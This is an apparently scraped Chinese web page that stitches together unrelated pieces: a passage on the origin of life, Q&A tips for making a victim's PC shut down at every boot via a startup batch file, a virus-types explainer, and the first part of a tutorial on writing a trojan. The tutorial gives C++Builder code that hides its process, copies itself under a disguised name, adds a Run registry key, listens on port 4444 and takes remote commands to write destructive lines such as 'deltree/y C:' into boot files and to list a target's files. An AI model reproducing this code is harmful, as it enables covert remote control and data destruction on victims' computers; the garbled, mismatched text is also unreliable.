生物黑客自制病毒（病毒 生物体）
自制简单电脑病毒破解
1.建立一个txt文件，写入"shutdown -a"(引号不算)，改名为bat，运行后可以直接取消关机指令。
2.如果你速度够快，按WIN+R然后输入shutdown -a 也可以
病毒是怎样研制出来的！！
病毒也是一种生物 从这个角度来看 它和人动物 植物都属于生物 生物的产生 可以参考 达尔文的物种起源 原始生命的产生 生命的起源 地球在宇宙中形成以后，开始是没有生命的。经过了一段漫长的化学演化，就是说大气中的有机元素氢、碳、氮、氧、硫、磷等在自然界各种能源（如闪电、紫外线、宇宙线、火山喷发等等）的作用下，合成有机分子（如甲烷、二氧化碳、一氧化碳、水、硫化氢、氨、磷酸等等）。这些有机分子进一步合成，变成生物单体（如氨基酸、糖、腺甙和核甙酸等）。这些生物单体进一步聚合作用变成生物聚合物。如蛋白质、多糖、核酸等。这一段过程叫做化学演化。蛋白质出现后，最简单的生命也随着诞生了。这是发生在距今大约36亿多年前的一件大事。从此，地球上就开始有生命了。生命与非生命物质的最基本区别是：它能从环境中吸收自己生活过程中所需要的物质，排放出自己生活过程中不需要的物质。这种过程叫做新陈代谢，这是第一个区别。第二个区别是能繁殖后代。任何有生命的个体，不管他们的繁殖形式有如何的不同，他们都具有繁殖新个体的本领。第三个区别是有遗传的能力。能把上一代生命个体的特性传递给下一代，使下一代的新个体能够与上一代个体具有相同或者大致相同的特性。这个大致相同的现象最有意义，最值得我们注意。因为这说明它多少有一点与上一代不一样的特点，这种与上一代不一样的特点叫变异。这种变异的特性如果能够适应环境而生存，它就会一代又一代地把这种变异的特性加强并成为新个体所固有的特征。生物体不断地变异，不断地遗传，年长月久，周而复始，具有新特征的新个体也就不断地出现，使生物体不断地由简单变复杂，构成了生物体的系统演化。 地球上早期生命的形态与特性。地球上最早的生命形态很简单，一个细胞就是一个个体，它没有细胞核，我们叫它为原核生物。它是靠细胞表面直接吸收周围环境中的养料来维持生活的，这种生活方式我们叫做异养。当时它们的生活环境是缺乏氧气的，这种喜欢在缺乏氧气的环境中生活的叫做厌氧。因此最早的原核生物是异养厌氧的。它的形态最初是圆球形，后来变成椭圆形、弧形、江米条状的杆形进而变成螺旋状以及细长的丝状，等等。从形态变化的发展方向来看是增加身体与外界接触的表面积和增大自身的体积。现在生活在地球上的细菌和蓝藻都是属于原核生物。蓝藻的发生与发展，加速了地球上氧气含量的增加，从20多亿年前开始，不仅水中氧气含量已经很多，而且大气中氧气的含量也已经不少。细胞核的出现，是生物界演化过程中的重大事件。原核植物经过15亿多年的演变，原来均匀分散在它的细胞里面的核物质相对地集中以后，外面包裹了一层膜，这层膜叫做核膜。细胞的核膜把膜内的核物质与膜外的细胞质分开。细胞里面的细胞核就是这样形成的。有细胞核的生物我们把它称为真核生物。从此以后细胞在繁殖分裂时不再是简单的细胞质一分为二，而且里面的细胞核也要一分为二。真核生物（那时还没有动物，可以说实际上也只是真核植物）大约出现在20亿年前。性别的出现是在生物界演化过程中的又一个重大的事件，因为性别促进了生物的优生，加速生物向更复杂的方向发展。因此真核的单细胞植物出现以后没有几亿年就出现了真核多细胞植物。真核多细胞的植物出现没有多久就出现了植物体的分工，植物体中有一群细胞主要是起着固定植物体的功能，成了固着的器官，也就是现代藻类植物固着器的由来。从此以后开始出现器官分化，不同功能部分其内部细胞的形态也开始分化。由此可见，细胞核和性别出现以后，大大地加速了生物本身形态和功能的发展。 生命的起源 关于生命起源的问题，很早就有各种不同的解释。近几十年来，人们根据现代自然科学的新成 就，对于生命起源的问题进行了综合研究，取得了很大的进展。 根据科学的推算，地球从诞生到现在，大约有46亿年的历史。早期的地球是炽热的，地球上的一切元素都呈气体状态，那时候是绝对不会有生命存在的。最初的生命是在地球温度下降以后，在极其漫长的时间内，由非生命物质经过极其复杂的化学过程，一步一步地演变而成的。目前，这种关于生命起源是通过化学进化过程的说法已经为广大学者所承认，并认为这个化学进化过程可以分为下列四个阶段。 从无机小分子物质生成有机小分子物质 根据推测，生命起源的化学进化过程是在原始地球条件下开始进行的。当时，地球表面温度已经降低，但内部温度仍然很高，火山活动极为频繁，从火山内部喷出的气体，形成了原始大气(下图)。一般认为，原始大气的主要成分有甲烷（CH4）、氨 原始地球的想象图 (左)原始大气(右)有机物形成 （NH3）、水蒸气（H2O）、氢（H2），此外还有硫化氢（H2S）和氰化氢（HCN）。这些气体在大自然不断产生的宇宙射线、紫外线、闪电等的作用下，就可能自然合成氨基酸、核苷酸、单糖等一系列比较简单的有机小分子物质。后来，地球的温度进一步降低，这些有机小分子物质又随着雨水，流经湖泊和河流，最后汇集在原始海洋中。 关于这方面的推测，已经得到了科学实验的证实。1935年，美国学者米勒等人，设计了一套密闭装置(下图)。他们将装置内的空气抽出，然后模拟原始地球上的大气成分，通入甲烷、氨、氢、水 米勒实验的装置 蒸气等气体，并模拟原始地球条件下的闪电，连续进行火花放电。最后，在U型管内检验出有氨基酸生成。氨基酸是组成蛋白质的基本单位，因此，探索氨基酸在地球上的产生是有重要意义的。 此外，还有一些学者模拟原始地球的大气成分，在实验室里制成了另一些有机物，如嘌识、嘧啶、核糖，脱氧核糖，脂肪酸等。这些研究表明：在生命的起源中，从无机物合成有机物的化学过程，是完全可能的。 从有机小分子物质形成的有机高分子物质 蛋白质、核酸等有机高分子物质，是怎样在原始地球条件下形成的呢？有些学者认为，在原始海洋中，氨基酸、核苷酸等有机小分子物质，经过长期积累，相互作用，在适当条件下（如吸附在粘土上），通过缩合作用或聚合作用，就形成了原始的蛋白质分子和核酸分子。 现在，已经有人模拟原始地球的条件，制造出了类似蛋白质和核酸的物质。虽然这些物质与现在的蛋白质和核酸相比，还有一定差别 ，并且原始地球上的蛋白质和核酸的形成过程是否如此，还不能肯定，但是，这已经为人们研究生命的起源提供了一些线索；在原始地球条件下，产生这些有机高分子的物质是可能的。 从有机高分子物质组成多分子体系 根据推测，蛋白质和核酸等有机高分子物质，在海洋里越积越多，浓度不断增加，由于种种原因（如水分的蒸发，粘土的吸附作用），这些有机高分子物质经过浓缩而分离出来，它们相互作用，凝聚成小滴。这些小滴漂浮在原始海洋中，外面包有最原始的界膜，与周围的原始海洋环境分隔开，从而构成一个独立的体系，即多分子体系。这种多分子体系已经能够与外界环境进行原始的物质交换活动了。 从多分子体系演变为原始生命 从多分子体系演变为原始生命，过是生命起源过程中最复杂和最有决定意义的阶段，它直接涉及到原始生命的发生。目前，人们还不能在实验室里验证这一过程。不过，我们可以推测，有些多分子体系经过长期不断地演变，特别是由于蛋白质和核酸这两大主要成分的相互作用，终于形成具有原始新陈代谢作用和能够进行繁殖的原始生命。以后，由生命起源的化学进化阶段进入到生命出现之后的生物进化阶段。 关于生命起源的化学进化过程的研究，虽然进行了大量的模拟实验，但是绝大多数实验只是集中在第一阶段，有些阶段还仅仅限于假说和推测。因此，在对于生命起源，问题还必须继续进行研究和探讨。 蛋白质和核酸是生物体内最重要的物质。没有蛋白质和核酸，就没有生命。1965年，我国科学工作者人工合成了结晶牛胰岛素（一种含有51个氨基酸的蛋白质）。1981年，我国科学工作者又用人工的方法合成了酵母丙氨酸转运核糖核酸（核糖核酸的一种）。这些工作反映了我国在探索生命起源问题上的重大成就
自制病毒
做个病毒需要很高的水平的
但是你只是想关机的话就很简单了
开始-运行-输入以下字符:括号内的(shutdown -s -t 3600)
3600就是离关机剩下的秒数
对一些不懂的人这就够了
但是如果懂电脑
既有点麻烦了
你可以下一个锁屏软件
那个会把电脑屏幕。键盘。鼠标锁住
需要密码才能打开
除非他关机
他只能等到你、自动关机了
还有什么问题的话
还可以来问我
如何自制病毒？
做个病毒需要很高的水平的
但是你只是想关机的话就很简单了
开始-运行-输入以下字符:括号内的(shutdown
-s
-t
3600)
3600就是离关机剩下的秒数
对一些不懂的人这就够了
但是如果懂电脑
既有点麻烦了
你可以下一个锁屏软件
那个会把电脑屏幕。键盘。鼠标锁住
需要密码才能打开
除非他关机
他只能等到你、自动关机了
还有什么问题的话
还可以来问我
病毒是怎么行成的，病毒是什么？
是否会像其他病毒，如“H5N1”、“O-157大肠杆菌”、“HIV”一样对人体造成伤害呢？电脑病毒是会造成伤害，但不是对你造成伤害，而是对你的电脑系统造成一定的伤害。其实，电脑病毒是一段非常小的（通常只有几KB）会不断自我复制、隐藏和感染其他程序的程序码。它在我们的电脑里执行，并且导致不同的影响。它可把电脑里的程序或数据消失或改变。电脑病毒与其它威胁不同，它可以不需要人们的介入就能由程序或系统传播出去。“程序码”包含一套不必要的指令，当执行时，它把自己传播到其它的电脑系统、程序里。首先它把自己拷贝（Copy）在一个没有感染的程序或文件里，当这个程序或文件执行任何指令时，这电脑病毒都会包括在指令里。根据病毒创造者的动机，这些指令可以做出任何事情，其中包括显示一段信息、删除文件或精细地改变数据，甚至破坏电脑的硬件。有些情况下，电脑病毒并没有破坏指令的企图，但取而代之就是病毒占据磁盘空间、CPU时间或网络的连接。 电脑病毒----什么是电脑病毒 从广义上定义，凡能够引起计算机故障，破坏计算机数据的程序统称为计算机病毒。依据此定义，诸如逻辑炸弹，蠕虫等均可称为计算机病毒。 1994年2月18日，我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》，在《条例》第二十八条中明确指出：“计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。”此定义具有法律性、权威性。 自从Internet盛行以来，含有Java和ActiveX技术的网页逐渐被广泛使用，一些别有用心的人于是利用Java和ActiveX的特性来撰写病毒。以Java病毒为例，Java病毒并不能破坏储存媒介上的资料，但若你使用浏览器来浏览含有Java病毒的网页，Java病毒就可以强迫你的Windows不断的开启新窗口，直到系统资源被耗尽，而你也只有重新启动。 所以在Internet出现后，计算机病毒就应加入只要是对使用者造成不便的程序代码，就可以被归类为计算机病毒。 下面我们谈一谈病毒。您以前是否听说过电脑病毒?不要一听到病毒就浑身发抖，只要了解了病毒，对付起来还是很容易的。 电脑病毒与我们平时所说的医学上的生物病毒是不一样的，它实际上是一种电脑程序，只不过这种程序比较特殊，它是专门给人们捣乱和搞破坏的，它寄生在其它文件中，而且会不断地自我复制并传染给别的文件，没有一点好作用。 电脑病毒发作了都会有哪些症状呢？ 电脑染上病毒后，如果没有发作，是很难觉察到的。但病毒发作时就很容易感觉出来： 有时电脑的工作会很不正常，有时会莫名其妙的死机，有时会突然重新启动，有时程序会干脆运行不了。 电脑染毒后表现为：工作很不正常，莫名其妙死机，突然重新启动，程序运行不了。有的病毒发作时满屏幕会下雨，有的屏幕上会出现毛毛虫等，甚至在屏幕上出现对话框，这些病毒发作时通常会破坏文件，是非常危险的，反正只要电脑工作不正常，就有可能是染上了病毒。病毒所带来的危害更是不言而喻了。而且，以前人们一直以为，病毒只能破坏软件，对硬件毫无办法，可是CIH病毒打破了这个神话，因为它竟然在某种情况下可以破坏硬件！ 电脑病毒和别的程序一样，它也是人编写出来的。既然病毒也是人编的程序，那就会有办法来对付它。最重要的是采取各种安全措施预防病毒，不给病毒以可乘之机。另外，就是使用各种杀毒程序了。它们可以把病毒杀死，从电脑中清除出去。 常用杀毒程序有：KV300，KILL系列，瑞星，PC CILLIN，NAV，MCAFEE等。 电脑病毒一般可以分成下列各类： 1.引导区电脑病毒 2. 文件型电脑病毒 3. 复合型电脑病毒 4.宏病毒 5. 特洛伊/特洛伊木马 6.蠕虫 其他电脑病毒/恶性程序码的种类和制作技巧 引导区电脑病毒 1.引导区电脑病毒是如此传播：隐藏在磁盘内，在系统文件启动以前电脑病毒已驻留在内存内。这样一来，电脑病毒就可完全控制DOS中断功能，以便进行病毒传播和破坏活动。那些设计在DOS或Windows3.1上执行的引导区病毒是不能够在新的电脑操作系统上传播，所以这类的电脑病毒已经比较罕见了。 Michelangelo是一种引导区病毒。它会感染引导区内的磁盘及硬盘内的MBR。当此电脑病毒常驻内存时，便会感染所有读取中及没有写入保护的磁盘。除此以外，Michelangelo会于3月6日当天删除受感染电脑内的所有文件。 2.文件型电脑病毒，又称寄生病毒，通常感染执行文件(.EXE)，但是也有些会感染其它可执行文件，如DLL,SCR等等...每次执行受感染的文件时，电脑病毒便会发作：电脑病毒会将自己复制到其他可执行文件，并且继续执行原有的程序，以免被用户所察觉。 CIH会感染Windows95/98的.EXE文件，并在每月的26号发作日进行严重破坏。于每月的26号当日，此电脑病毒会试图把一些随机资料覆写在系统的硬盘，令该硬盘无法读取原有资料。此外，这病毒又会试图破坏FlashBIOS内的资料。 3.宏病毒 与其他电脑病毒类型的分别是宏病毒是攻击数据文件而不是程序文件。 宏病毒专门针对特定的应用软件，可感染依附于某些应用软件内的宏指令，它可以很容易透过电子邮件附件、软盘、文件下载和群组软件等多种方式进行传播如MicrosoftWord和Excel。宏病毒采用程序语言撰写，例如VisualBasic或CorelDraw，而这些又是易于掌握的程序语言。宏病毒最先在1995年被发现，在不久后已成为最普遍的电脑病毒。 JulyKiller这个电脑病毒通过VB宏在MSWord97文件中传播。一旦打开染毒文件，这病毒首先感染共用范本(normal.dot)，从而导致其它被打开的文件一一遭到感染。此电脑病毒的破坏力严重。如果当月份是7月时，这病毒就会删除c:\的所有文件。 4. 特洛伊或特洛伊木马是一个看似正当的程序，但事实上当执行时会进行一些恶性及不正当的活动。特洛伊可用作黑客工具去窃取用户的密码资料或破坏硬盘内的程序或数据。与电脑病毒的分别是特洛伊不会复制自己。它的传播伎俩通常是诱骗电脑用户把特洛伊木马植入电脑内，例如通过电子邮件上的游戏附件等。 BackOrifice特洛伊木马于1998年发现，是一个Windows远程管理工具，让用户利用简单控制台或视窗应用程序，透过TCP/IP去远程遥控电脑。 5.蠕虫是另一种能自行复制和经由网络扩散的程序。它跟电脑病毒有些不同，电脑病毒通常会专注感染其它程序，但蠕虫是专注于利用网络去扩散。从定义上，电脑病毒和蠕虫是非不可并存的。随着互联网的普及，蠕虫利用电子邮件系统去复制，例如把自己隐藏于附件并于短时间内电子邮件予多个用户。有些蠕虫(如CodeRed)，更会利用软件上的漏洞去扩散和进行破坏。 于1999年6月发现的Worm.ExploreZip是一个可复制自己的蠕虫。当执行时，它会把自己隐藏在附件，经电子邮件传送予通讯录内的收件人。在Windows环境下，若用户开启附件，就会自动执行蠕虫。在Windows95/98环境下，此蠕虫以Explore.exe为名，把自己复制到C:\windows\system目录，以及更改WIN.INI文件，以便系统每次启动时便会自动执行蠕虫。 预防篇 1. 提倡尊重知识产权的观念,支持使用合法原版的软件,拒绝使用翻版软件,只有这样才能确实降低使用者电脑发生中毒的机会. 2. 平日就要将重要的资料备份起来,毕竟解毒软体不能完全还原中毒的资料,只有靠自己的备份才是最重要的. 3. 建立一张紧急救援磁片,而且是「乾净及可开机的」,DOS的版本与硬碟相同,同时里面还要有以下程式:FDISK.EXE,FORMAT.COM,UNFORMAT.COM,SYS.COM,UNDELETE.EXE,SCANDISK.EXE,扫毒软体所备份的启动磁区及硬碟分割表档案.如果你有PCTOOLS或Norton Utility等软体,用它们来帮助你做一张紧急救援磁片,它们甚至可以还原CMOS资料,或是灾后重建资料.(别忘了贴上防写标签.) 4. 不要随便使用来历不明的档案或磁碟,就算要使用,先用扫毒软体扫一扫再用. 5. 准备一些好的防毒,扫毒,解毒软体,并且定期使用. .建立正确病毒基本观念,了解病毒感染,发作的原理,亦可以提高个人的警惕. 治疗篇 请熟记以下的六字口诀: 1. 关(Step 1;关闭电源) 2. 开(Step 2;以乾净磁片开机) 3. 扫(Step 3;用防毒软体扫瞄病毒) 4. 除(Step 4;若侦测有病毒,则立即删除) 5. 救(Step 5;若侦测硬碟分割区或启动区有病毒时,可用"硬碟紧急救援磁片"救回资料,或用乾净DOS磁片中的FDISK指令,执行FDISK/MBR以救回硬碟分割区资料;另可在A槽中执行ASYS C:(C为中毒磁碟)以救回资料;若不行就只有重新格式化硬碟了. 6. 防(Step 8;好了!您的电脑安全了.不过为了预防未来不再受到病毒之侵害,建议您经常更新你的防毒软件,以建立完善而且坚固的病毒防疫系统.
怎么自制电脑病毒？ 最好是毁灭性打击的。。。
毁灭性？教你一招让别人电脑开机就关机，在任意目录下新建一个bat文件，命名为shutdown.bat 。其中代码为
@echo off
shutdown -s
然后保存，放到启动项
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序，一段可执行码。就像生物病毒一样，计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延，又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时，它们就随
同文件一起蔓延开来。
除复制能力外，某些计算机病毒还有其它一些共同特性：一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时，它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序，它仍然能通过占据存贮空间给你带来麻烦，并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体（如磁盘、内存）或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质（或程序）里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考：http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的（一）
武汉 周侃
特洛依木马这个名词大家应该不陌生，自从98年“死牛崇拜”黑客小组公布Back Orifice以来，木马犹如平地上的惊雷，使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。
我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！呵呵，要知道，木马（Trojan）的历史是很悠久的：早在ATT Unix和BSD Unix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的，对网络可以说很陌生。直到Win9x横空出世，尤其是WinNt的普及，大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Win9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马，听起来很Cool是不是？！木马一定是由两部分组成??服务器程序（Server）和客户端程序（Client），服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（一般是TCP/IP协议）。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder（以下简称BCB）；VC虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；Delphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO2000源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗？
启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程（Service Process）就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt：
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x，不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了（害我敲了这么多代码！）。为什么要判断操作系统呢？因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到%System%目录下，例如：C:\Windows\System，并修改注册表，以便启动时自动加载：
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串，使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象，准备修改注册表，这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之
try
{
file://如果以下语句发生异常，跳至catch，以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是，就写入以上键值和内容
}
catch(...)
{
file://如果有错误，什么也不做
}
}
好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。
接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^）。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用控制端口（FTP Control Port）；同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat，作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端（攻击者，也就是你自己）传来的数据
}
好，大门敞开了！接着就是修改目标机的各种配置了！^_^ 首先我们来修改Autoexec.bat和Config.sys吧：
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型，存入file_name变量
file://为什么要取第11个字符，因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在，创建之；如果存在，准备在其后添加
file://如果出错，文件指针为空，这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧？！
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲?：
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写；如果此文件已存在，则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功（真有耐心！）
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”，证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录，则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量，如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了，仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
